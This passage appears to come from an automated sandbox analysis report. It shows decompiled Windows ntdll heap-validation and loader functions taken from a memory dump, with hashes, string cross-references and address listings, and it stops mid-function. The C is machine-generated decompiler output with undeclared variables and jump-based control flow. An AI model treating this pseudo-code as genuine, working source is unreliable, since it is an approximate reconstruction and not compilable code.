Instruction Fuzzy Hash: F7410931A30317DFEF36AB1C898DA75B7A4AB0434AFC6817AFB0457152E7B05D808781

Uniqueness

Uniqueness Score: -1.00%

Function 013349A4, Relevance: 5.1, Strings: 4, Instructions: 114COMMON

Download Yara Rule

Strings

This is located in the %s field of the heap header., xrefs: 01334AD6
HEAP: , xrefs: 01334A4A, 01334A5D, 01334A5F, 01334AC4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 01334A61
HEAP[%wZ]: , xrefs: 01334A3D, 01334AB7

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: cd814fc41dd154d4ef9f993dfb2a2e20536e40d1dc6d0a3ec4b5fd2cc89551df
Instruction ID: eb0b23a50bb063460e6e2cd4bf8a7fb166e6ef6bc112a2e4943489c32d86cab6
Opcode Fuzzy Hash: cd814fc41dd154d4ef9f993dfb2a2e20536e40d1dc6d0a3ec4b5fd2cc89551df
Instruction Fuzzy Hash: 69314436220214EFE720DB99D889F7BB7E8EF44629F144059F905CB260E671A981CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 012999BF, Relevance: 4.3, Strings: 3, Instructions: 572
COMMONCrypto

Download Yara Rule

C-Code - Quality: 78%

			E012999BF(void* __ecx, signed short* __edx, signed int* _a4, signed int _a8) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed short _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed short _t186;
				intOrPtr _t187;
				signed short _t190;
				signed int _t196;
				signed short _t197;
				intOrPtr _t203;
				signed int _t207;
				signed int _t210;
				signed short _t215;
				intOrPtr _t216;
				signed short _t219;
				signed int _t221;
				signed short _t222;
				intOrPtr _t228;
				signed int _t232;
				signed int _t235;
				signed int _t250;
				signed short _t251;
				intOrPtr _t252;
				signed short _t254;
				intOrPtr _t255;
				signed int _t258;
				signed int _t259;
				signed short _t262;
				intOrPtr _t271;
				signed int _t279;
				signed int _t282;
				signed int _t284;
				signed int _t286;
				intOrPtr _t292;
				signed int _t296;
				signed int _t299;
				void* _t307;
				signed int* _t309;
				signed short* _t311;
				signed short* _t313;
				signed char _t314;
				intOrPtr _t316;
				signed int _t323;
				signed char _t328;
				signed short* _t330;
				signed char _t331;
				intOrPtr _t335;
				signed int _t342;
				signed char _t347;
				signed short* _t348;
				signed short* _t350;
				signed short _t352;
				signed char _t354;
				intOrPtr _t357;
				intOrPtr* _t364;
				signed char _t365;
				intOrPtr _t366;
				signed int _t373;
				signed char _t378;
				signed int* _t381;
				signed int _t382;
				signed short _t384;
				signed int _t386;
				unsigned int _t390;
				signed int _t393;
				signed int* _t394;
				unsigned int _t398;
				signed short _t400;
				signed short _t402;
				signed int _t404;
				signed int _t407;
				unsigned int _t411;
				signed short* _t414;
				signed int _t415;
				signed short* _t419;
				signed int* _t420;
				void* _t421;

				_t414 = __edx;
				_t307 = __ecx;
				_t419 = __edx - (( *(__edx + 4) & 0x0000ffff ^  *(__ecx + 0x54) & 0x0000ffff) << 3);
				if(_t419 == __edx || (( *(__ecx + 0x4c) >> 0x00000014 &  *(__ecx + 0x52) ^ _t419[1]) & 0x00000001) != 0) {
					_v5 = _a8;
					L3:
					_t381 = _a4;
					goto L4;
				} else {
					__eflags =  *(__ecx + 0x4c);
					if( *(__ecx + 0x4c) != 0) {
						_t411 =  *(__ecx + 0x50) ^  *_t419;
						 *_t419 = _t411;
						_t378 = _t411 >> 0x00000010 ^ _t411 >> 0x00000008 ^ _t411;
						__eflags = _t411 >> 0x18 - _t378;
						if(__eflags != 0) {
							_push(_t378);
							E0132FA2B(__ecx, __ecx, _t419, __edx, _t419, __eflags);
						}
					}
					_t250 = _a8;
					_v5 = _t250;
					__eflags = _t250;
					if(_t250 != 0) {
						_t400 = _t414[6];
						_t53 =  &(_t414[4]); // -16
						_t348 = _t53;
						_t251 =  *_t348;
						_v12 = _t251;
						_v16 = _t400;
						_t252 =  *((intOrPtr*)(_t251 + 4));
						__eflags =  *_t400 - _t252;
						if( *_t400 != _t252) {
							L49:
							_push(_t348);
							_push( *_t400);
							E0133A80D(_t307, 0xd, _t348, _t252);
							L50:
							_v5 = 0;
							goto L11;
						}
						__eflags =  *_t400 - _t348;
						if( *_t400 != _t348) {
							goto L49;
						}
						 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
						_t407 =  *(_t307 + 0xb4);
						__eflags = _t407;
						if(_t407 == 0) {
							L36:
							_t364 = _v16;
							_t282 = _v12;
							 *_t364 = _t282;
							 *((intOrPtr*)(_t282 + 4)) = _t364;
							__eflags = _t414[1] & 0x00000008;
							if((_t414[1] & 0x00000008) == 0) {
								L39:
								_t365 = _t414[1];
								__eflags = _t365 & 0x00000004;
								if((_t365 & 0x00000004) != 0) {
									_t284 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
									_v12 = _t284;
									__eflags = _t365 & 0x00000002;
									if((_t365 & 0x00000002) != 0) {
										__eflags = _t284 - 4;
										if(_t284 > 4) {
											_t284 = _t284 - 4;
											__eflags = _t284;
											_v12 = _t284;
										}
									}
									_t78 =  &(_t414[8]); // -8
									_t286 = E012CD540(_t78, _t284, 0xfeeefeee);
									_v16 = _t286;
									__eflags = _t286 - _v12;
									if(_t286 != _v12) {
										_t366 =  *[fs:0x30];
										__eflags =  *(_t366 + 0xc);
										if( *(_t366 + 0xc) == 0) {
											_push("HEAP: ");
											E0127B150();
										} else {
											E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_v16 + 0x10 + _t414);
										E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
										_t292 =  *[fs:0x30];
										_t421 = _t421 + 0xc;
										__eflags =  *((char*)(_t292 + 2));
										if( *((char*)(_t292 + 2)) != 0) {
											 *0x1366378 = 1;
											asm("int3");
											 *0x1366378 = 0;
										}
									}
								}
								goto L50;
							}
							_t296 = E0129A229(_t307, _t414);
							__eflags = _t296;
							if(_t296 != 0) {
								goto L39;
							} else {
								L0129A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
								goto L50;
							}
						} else {
							_t373 =  *_t414 & 0x0000ffff;
							while(1) {
								__eflags = _t373 -  *((intOrPtr*)(_t407 + 4));
								if(_t373 <  *((intOrPtr*)(_t407 + 4))) {
									_t301 = _t373;
									break;
								}
								_t299 =  *_t407;
								__eflags = _t299;
								if(_t299 == 0) {
									_t301 =  *((intOrPtr*)(_t407 + 4)) - 1;
									__eflags =  *((intOrPtr*)(_t407 + 4)) - 1;
									break;
								} else {
									_t407 = _t299;
									continue;
								}
							}
							_t62 =  &(_t414[4]); // -16
							E0129BC04(_t307, _t407, 1, _t62, _t301, _t373);
							goto L36;
						}
					}
					L11:
					_t402 = _t419[6];
					_t25 =  &(_t419[4]); // -16
					_t350 = _t25;
					_t254 =  *_t350;
					_v12 = _t254;
					_v20 = _t402;
					_t255 =  *((intOrPtr*)(_t254 + 4));
					__eflags =  *_t402 - _t255;
					if( *_t402 != _t255) {
						L61:
						_push(_t350);
						_push( *_t402);
						E0133A80D(_t307, 0xd, _t350, _t255);
						goto L3;
					}
					__eflags =  *_t402 - _t350;
					if( *_t402 != _t350) {
						goto L61;
					}
					 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t419 & 0x0000ffff);
					_t404 =  *(_t307 + 0xb4);
					__eflags = _t404;
					if(_t404 == 0) {
						L20:
						_t352 = _v20;
						_t258 = _v12;
						 *_t352 = _t258;
						 *(_t258 + 4) = _t352;
						__eflags = _t419[1] & 0x00000008;
						if((_t419[1] & 0x00000008) != 0) {
							_t259 = E0129A229(_t307, _t419);
							__eflags = _t259;
							if(_t259 != 0) {
								goto L21;
							} else {
								L0129A309(_t307, _t419,  *_t419 & 0x0000ffff, 1);
								goto L3;
							}
						}
						L21:
						_t354 = _t419[1];
						__eflags = _t354 & 0x00000004;
						if((_t354 & 0x00000004) != 0) {
							_t415 = ( *_t419 & 0x0000ffff) * 8 - 0x10;
							__eflags = _t354 & 0x00000002;
							if((_t354 & 0x00000002) != 0) {
								__eflags = _t415 - 4;
								if(_t415 > 4) {
									_t415 = _t415 - 4;
									__eflags = _t415;
								}
							}
							_t91 =  &(_t419[8]); // -8
							_t262 = E012CD540(_t91, _t415, 0xfeeefeee);
							_v20 = _t262;
							__eflags = _t262 - _t415;
							if(_t262 != _t415) {
								_t357 =  *[fs:0x30];
								__eflags =  *(_t357 + 0xc);
								if( *(_t357 + 0xc) == 0) {
									_push("HEAP: ");
									E0127B150();
								} else {
									E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_v20 + 0x10 + _t419);
								E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t419);
								_t271 =  *[fs:0x30];
								_t421 = _t421 + 0xc;
								__eflags =  *((char*)(_t271 + 2));
								if( *((char*)(_t271 + 2)) != 0) {
									 *0x1366378 = 1;
									asm("int3");
									 *0x1366378 = 0;
								}
							}
						}
						_t381 = _a4;
						_t414 = _t419;
						_t419[1] = 0;
						_t419[3] = 0;
						 *_t381 =  *_t381 + ( *_t419 & 0x0000ffff);
						 *_t419 =  *_t381;
						 *(_t419 + 4 +  *_t381 * 8) =  *_t381 ^  *(_t307 + 0x54);
						L4:
						_t420 = _t414 +  *_t381 * 8;
						if( *(_t307 + 0x4c) == 0) {
							L6:
							while((( *(_t307 + 0x4c) >> 0x00000014 &  *(_t307 + 0x52) ^ _t420[0]) & 0x00000001) == 0) {
								__eflags =  *(_t307 + 0x4c);
								if( *(_t307 + 0x4c) != 0) {
									_t390 =  *(_t307 + 0x50) ^  *_t420;
									 *_t420 = _t390;
									_t328 = _t390 >> 0x00000010 ^ _t390 >> 0x00000008 ^ _t390;
									__eflags = _t390 >> 0x18 - _t328;
									if(__eflags != 0) {
										_push(_t328);
										E0132FA2B(_t307, _t307, _t420, _t414, _t420, __eflags);
									}
								}
								__eflags = _v5;
								if(_v5 == 0) {
									L94:
									_t382 = _t420[3];
									_t137 =  &(_t420[2]); // -16
									_t309 = _t137;
									_t186 =  *_t309;
									_v20 = _t186;
									_v16 = _t382;
									_t187 =  *((intOrPtr*)(_t186 + 4));
									__eflags =  *_t382 - _t187;
									if( *_t382 != _t187) {
										L63:
										_push(_t309);
										_push( *_t382);
										_push(_t187);
										_push(_t309);
										_push(0xd);
										L64:
										E0133A80D(_t307);
										continue;
									}
									__eflags =  *_t382 - _t309;
									if( *_t382 != _t309) {
										goto L63;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t420 & 0x0000ffff);
									_t393 =  *(_t307 + 0xb4);
									__eflags = _t393;
									if(_t393 == 0) {
										L104:
										_t330 = _v16;
										_t190 = _v20;
										 *_t330 = _t190;
										 *(_t190 + 4) = _t330;
										__eflags = _t420[0] & 0x00000008;
										if((_t420[0] & 0x00000008) == 0) {
											L107:
											_t331 = _t420[0];
											__eflags = _t331 & 0x00000004;
											if((_t331 & 0x00000004) != 0) {
												_t196 = ( *_t420 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t196;
												__eflags = _t331 & 0x00000002;
												if((_t331 & 0x00000002) != 0) {
													__eflags = _t196 - 4;
													if(_t196 > 4) {
														_t196 = _t196 - 4;
														__eflags = _t196;
														_v12 = _t196;
													}
												}
												_t162 =  &(_t420[4]); // -8
												_t197 = E012CD540(_t162, _t196, 0xfeeefeee);
												_v20 = _t197;
												__eflags = _t197 - _v12;
												if(_t197 != _v12) {
													_t335 =  *[fs:0x30];
													__eflags =  *(_t335 + 0xc);
													if( *(_t335 + 0xc) == 0) {
														_push("HEAP: ");
														E0127B150();
													} else {
														E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t420);
													E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t420);
													_t203 =  *[fs:0x30];
													__eflags =  *((char*)(_t203 + 2));
													if( *((char*)(_t203 + 2)) != 0) {
														 *0x1366378 = 1;
														asm("int3");
														 *0x1366378 = 0;
													}
												}
											}
											_t394 = _a4;
											_t414[1] = 0;
											_t414[3] = 0;
											 *_t394 =  *_t394 + ( *_t420 & 0x0000ffff);
											 *_t414 =  *_t394;
											 *(_t414 + 4 +  *_t394 * 8) =  *_t394 ^  *(_t307 + 0x54);
											break;
										}
										_t207 = E0129A229(_t307, _t420);
										__eflags = _t207;
										if(_t207 != 0) {
											goto L107;
										}
										L0129A309(_t307, _t420,  *_t420 & 0x0000ffff, 1);
										continue;
									}
									_t342 =  *_t420 & 0x0000ffff;
									while(1) {
										__eflags = _t342 -  *((intOrPtr*)(_t393 + 4));
										if(_t342 <  *((intOrPtr*)(_t393 + 4))) {
											break;
										}
										_t210 =  *_t393;
										__eflags = _t210;
										if(_t210 == 0) {
											_t212 =  *((intOrPtr*)(_t393 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t393 + 4)) - 1;
											L103:
											_t146 =  &(_t420[2]); // -16
											E0129BC04(_t307, _t393, 1, _t146, _t212, _t342);
											goto L104;
										}
										_t393 = _t210;
									}
									_t212 = _t342;
									goto L103;
								} else {
									_t384 = _t414[6];
									_t102 =  &(_t414[4]); // -16
									_t311 = _t102;
									_t215 =  *_t311;
									_v20 = _t215;
									_v16 = _t384;
									_t216 =  *((intOrPtr*)(_t215 + 4));
									__eflags =  *_t384 - _t216;
									if( *_t384 != _t216) {
										L92:
										_push(_t311);
										_push( *_t384);
										E0133A80D(_t307, 0xd, _t311, _t216);
										L93:
										_v5 = 0;
										goto L94;
									}
									__eflags =  *_t384 - _t311;
									if( *_t384 != _t311) {
										goto L92;
									}
									 *((intOrPtr*)(_t307 + 0x74)) =  *((intOrPtr*)(_t307 + 0x74)) - ( *_t414 & 0x0000ffff);
									_t386 =  *(_t307 + 0xb4);
									__eflags = _t386;
									if(_t386 == 0) {
										L79:
										_t313 = _v16;
										_t219 = _v20;
										 *_t313 = _t219;
										 *(_t219 + 4) = _t313;
										__eflags = _t414[1] & 0x00000008;
										if((_t414[1] & 0x00000008) == 0) {
											L82:
											_t314 = _t414[1];
											__eflags = _t314 & 0x00000004;
											if((_t314 & 0x00000004) != 0) {
												_t221 = ( *_t414 & 0x0000ffff) * 8 - 0x10;
												_v12 = _t221;
												__eflags = _t314 & 0x00000002;
												if((_t314 & 0x00000002) != 0) {
													__eflags = _t221 - 4;
													if(_t221 > 4) {
														_t221 = _t221 - 4;
														__eflags = _t221;
														_v12 = _t221;
													}
												}
												_t127 =  &(_t414[8]); // -8
												_t222 = E012CD540(_t127, _t221, 0xfeeefeee);
												_v20 = _t222;
												__eflags = _t222 - _v12;
												if(_t222 != _v12) {
													_t316 =  *[fs:0x30];
													__eflags =  *(_t316 + 0xc);
													if( *(_t316 + 0xc) == 0) {
														_push("HEAP: ");
														E0127B150();
													} else {
														E0127B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
													}
													_push(_v20 + 0x10 + _t414);
													E0127B150("HEAP: Free Heap block %p modified at %p after it was freed\n", _t414);
													_t228 =  *[fs:0x30];
													_t421 = _t421 + 0xc;
													__eflags =  *((char*)(_t228 + 2));
													if( *((char*)(_t228 + 2)) != 0) {
														 *0x1366378 = 1;
														asm("int3");
														 *0x1366378 = 0;
													}
												}
											}
											goto L93;
										}
										_t232 = E0129A229(_t307, _t414);
										__eflags = _t232;
										if(_t232 != 0) {
											goto L82;
										}
										L0129A309(_t307, _t414,  *_t414 & 0x0000ffff, 1);
										goto L93;
									}
									_t323 =  *_t414 & 0x0000ffff;
									while(1) {
										__eflags = _t323 -  *((intOrPtr*)(_t386 + 4));
										if(_t323 <  *((intOrPtr*)(_t386 + 4))) {
											break;
										}
										_t235 =  *_t386;
										__eflags = _t235;
										if(_t235 == 0) {
											_t237 =  *((intOrPtr*)(_t386 + 4)) - 1;
											__eflags =  *((intOrPtr*)(_t386 + 4)) - 1;
											L78:
											_t111 =  &(_t414[4]); // -16
											E0129BC04(_t307, _t386, 1, _t111, _t237, _t323);
											goto L79;
										}
										_t386 = _t235;
									}
									_t237 = _t323;
									goto L78;
								}
							}
							return _t414;
						}
						_t398 =  *(_t307 + 0x50) ^  *_t420;
						_t347 = _t398 >> 0x00000010 ^ _t398 >> 0x00000008 ^ _t398;
						if(_t398 >> 0x18 != _t347) {
							_push(_t347);
							_push(0);
							_push(0);
							_push(_t420);
							_push(3);
							goto L64;
						}
						goto L6;
					} else {
						_t277 =  *_t419 & 0x0000ffff;
						_v16 = _t277;
						while(1) {
							__eflags = _t277 -  *((intOrPtr*)(_t404 + 4));
							if(_t277 <  *((intOrPtr*)(_t404 + 4))) {
								break;
							}
							_t279 =  *_t404;
							__eflags = _t279;
							if(_t279 == 0) {
								_t277 =  *((intOrPtr*)(_t404 + 4)) - 1;
								__eflags =  *((intOrPtr*)(_t404 + 4)) - 1;
								break;
							} else {
								_t404 = _t279;
								_t277 =  *_t419 & 0x0000ffff;
								continue;
							}
						}
						E0129BC04(_t307, _t404, 1, _t350, _t277, _v16);
						goto L20;
					}
				}
			}

0x012999ca
0x012999cc
0x012999df
0x012999e3
0x012999f8
0x012999fb
0x012999fb
0x00000000
0x01299a48
0x01299a48
0x01299a4c
0x01299a51
0x01299a55
0x01299a61
0x01299a66
0x01299a68
0x012e1457
0x012e145c
0x012e145c
0x01299a68
0x01299a6e
0x01299a71
0x01299a74
0x01299a76
0x012e1466
0x012e1469
0x012e1469
0x012e146c
0x012e146e
0x012e1471
0x012e1474
0x012e1477
0x012e1479
0x012e159c
0x012e159c
0x012e159d
0x012e15a6
0x012e15ab
0x012e15ab
0x00000000
0x012e15ab
0x012e147f
0x012e1481
0x00000000
0x00000000
0x012e148a
0x012e148d
0x012e1493
0x012e1495
0x012e14c0
0x012e14c0
0x012e14c3
0x012e14c6
0x012e14c8
0x012e14cb
0x012e14cf
0x012e14f2
0x012e14f2
0x012e14f5
0x012e14f8
0x012e1501
0x012e1508
0x012e150b
0x012e150e
0x012e1510
0x012e1513
0x012e1515
0x012e1515
0x012e1518
0x012e1518
0x012e1513
0x012e1521
0x012e1525
0x012e152a
0x012e152d
0x012e1530
0x012e1532
0x012e1539
0x012e153d
0x012e155d
0x012e1562
0x012e153f
0x012e1555
0x012e155a
0x012e1570
0x012e1577
0x012e157c
0x012e1582
0x012e1585
0x012e1589
0x012e158b
0x012e1592
0x012e1593
0x012e1593
0x012e1589
0x012e1530
0x00000000
0x012e14f8
0x012e14d5
0x012e14da
0x012e14dc
0x00000000
0x012e14de
0x012e14e8
0x00000000
0x012e14e8
0x012e1497
0x012e1497
0x012e14a4
0x012e14a4
0x012e14a7
0x012e14a9
0x012e14ab
0x012e14ab
0x012e149c
0x012e149e
0x012e14a0
0x012e14b0
0x012e14b0
0x00000000
0x012e14a2
0x012e14a2
0x00000000
0x012e14a2
0x012e14a0
0x012e14b3
0x012e14bb
0x00000000
0x012e14bb
0x012e1495
0x01299a7c
0x01299a7c
0x01299a7f
0x01299a7f
0x01299a82
0x01299a84
0x01299a87
0x01299a8a
0x01299a8d
0x01299a8f
0x012e166a
0x012e166a
0x012e166b
0x012e1674
0x00000000
0x012e1674
0x01299a95
0x01299a97
0x00000000
0x00000000
0x01299aa0
0x01299aa3
0x01299aa9
0x01299aab
0x01299ad7
0x01299ad7
0x01299ada
0x01299add
0x01299adf
0x01299ae2
0x01299ae6
0x01299b22
0x01299b27
0x01299b29
0x00000000
0x01299b2b
0x012e15be
0x00000000
0x012e15be
0x01299b29
0x01299ae8
0x01299ae8
0x01299aeb
0x01299aee
0x012e15cb
0x012e15d2
0x012e15d5
0x012e15d7
0x012e15da
0x012e15dc
0x012e15dc
0x012e15dc
0x012e15da
0x012e15e5
0x012e15e9
0x012e15ee
0x012e15f1
0x012e15f3
0x012e15f9
0x012e1600
0x012e1604
0x012e1624
0x012e1629
0x012e1606
0x012e161c
0x012e1621
0x012e1637
0x012e163e
0x012e1643
0x012e1649
0x012e164c
0x012e1650
0x012e1656
0x012e165d
0x012e165e
0x012e165e
0x012e1650
0x012e15f3
0x01299af4
0x01299af7
0x01299afc
0x01299b00
0x01299b04
0x01299b08
0x01299b14
0x012999fe
0x01299a04
0x01299a07
0x00000000
0x01299a29
0x012e169c
0x012e16a0
0x012e16a5
0x012e16a9
0x012e16b5
0x012e16ba
0x012e16bc
0x012e16be
0x012e16c3
0x012e16c3
0x012e16bc
0x012e16c8
0x012e16cc
0x012e181b
0x012e181b
0x012e181e
0x012e181e
0x012e1821
0x012e1823
0x012e1826
0x012e1829
0x012e182c
0x012e182e
0x012e1688
0x012e1688
0x012e1689
0x012e168b
0x012e168c
0x012e168d
0x012e168f
0x012e1692
0x00000000
0x012e1692
0x012e1834
0x012e1836
0x00000000
0x00000000
0x012e183f
0x012e1842
0x012e1848
0x012e184a
0x012e1875
0x012e1875
0x012e1878
0x012e187b
0x012e187d
0x012e1880
0x012e1884
0x012e18a7
0x012e18a7
0x012e18aa
0x012e18ad
0x012e18b6
0x012e18bd
0x012e18c0
0x012e18c3
0x012e18c5
0x012e18c8
0x012e18ca
0x012e18ca
0x012e18cd
0x012e18cd
0x012e18c8
0x012e18d5
0x012e18da
0x012e18df
0x012e18e2
0x012e18e5
0x012e18e7
0x012e18ee
0x012e18f2
0x012e1912
0x012e1917
0x012e18f4
0x012e190a
0x012e190f
0x012e1925
0x012e192c
0x012e1931
0x012e193a
0x012e193e
0x012e1940
0x012e1947
0x012e1948
0x012e1948
0x012e193e
0x012e18e5
0x012e194f
0x012e1952
0x012e1956
0x012e195d
0x012e1961
0x012e196d
0x00000000
0x012e196d
0x012e188a
0x012e188f
0x012e1891
0x00000000
0x00000000
0x012e189d
0x00000000
0x012e189d
0x012e184c
0x012e1859
0x012e1859
0x012e185c
0x00000000
0x00000000
0x012e1851
0x012e1853
0x012e1855
0x012e1865
0x012e1865
0x012e1866
0x012e1868
0x012e1870
0x00000000
0x012e1870
0x012e1857
0x012e1857
0x012e185e
0x00000000
0x012e16d2
0x012e16d2
0x012e16d5
0x012e16d5
0x012e16d8
0x012e16da
0x012e16dd
0x012e16e0
0x012e16e3
0x012e16e5
0x012e1808
0x012e1808
0x012e1809
0x012e1812
0x012e1817
0x012e1817
0x00000000
0x012e1817
0x012e16eb
0x012e16ed
0x00000000
0x00000000
0x012e16f6
0x012e16f9
0x012e16ff
0x012e1701
0x012e172c
0x012e172c
0x012e172f
0x012e1732
0x012e1734
0x012e1737
0x012e173b
0x012e175e
0x012e175e
0x012e1761
0x012e1764
0x012e176d
0x012e1774
0x012e1777
0x012e177a
0x012e177c
0x012e177f
0x012e1781
0x012e1781
0x012e1784
0x012e1784
0x012e177f
0x012e178c
0x012e1791
0x012e1796
0x012e1799
0x012e179c
0x012e179e
0x012e17a5
0x012e17a9
0x012e17c9
0x012e17ce
0x012e17ab
0x012e17c1
0x012e17c6
0x012e17dc
0x012e17e3
0x012e17e8
0x012e17ee
0x012e17f1
0x012e17f5
0x012e17f7
0x012e17fe
0x012e17ff
0x012e17ff
0x012e17f5
0x012e179c
0x00000000
0x012e1764
0x012e1741
0x012e1746
0x012e1748
0x00000000
0x00000000
0x012e1754
0x00000000
0x012e1754
0x012e1703
0x012e1710
0x012e1710
0x012e1713
0x00000000
0x00000000
0x012e1708
0x012e170a
0x012e170c
0x012e171c
0x012e171c
0x012e171d
0x012e171f
0x012e1727
0x00000000
0x012e1727
0x012e170e
0x012e170e
0x012e1715
0x00000000
0x012e1715
0x012e16cc
0x01299a45
0x01299a45
0x01299a0e
0x01299a1c
0x01299a23
0x012e167e
0x012e167f
0x012e1681
0x012e1683
0x012e1684
0x00000000
0x012e1684
0x00000000
0x01299aad
0x01299aad
0x01299ab0
0x01299ab3
0x01299ab3
0x01299ab6
0x00000000
0x00000000
0x01299ab8
0x01299aba
0x01299abc
0x01299ac8
0x01299ac8
0x00000000
0x01299abe
0x01299abe
0x01299ac0
0x00000000
0x01299ac0
0x01299abc
0x01299ad2
0x00000000
0x01299ad2
0x01299aab

Strings

HEAP: , xrefs: 012E155D, 012E1624, 012E17C9, 012E1912
HEAP[%wZ]: , xrefs: 012E1550, 012E1617, 012E17BC, 012E1905
HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 012E1572, 012E1639, 012E17DE, 012E1927

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 922544a561b34c7f32ef6a69528f9ea335f23ba8b938363d7c77d627f909ecb0
Instruction ID: 98a289bb3414e9ce954b553d00703b6378745be49dd1faa1c9b3d9d242dd7301
Opcode Fuzzy Hash: 922544a561b34c7f32ef6a69528f9ea335f23ba8b938363d7c77d627f909ecb0
Instruction Fuzzy Hash: AF221570A202429FEB25CF2DC489B7ABBF5EF44704F28856DE9468B342E775D891CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01288794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E01288794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E0128934A() != 0) {
								_t159 = E012FA9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x1365780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E012F5510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x1365780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E0128849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E01288999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E01288999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x1365c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x1365c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
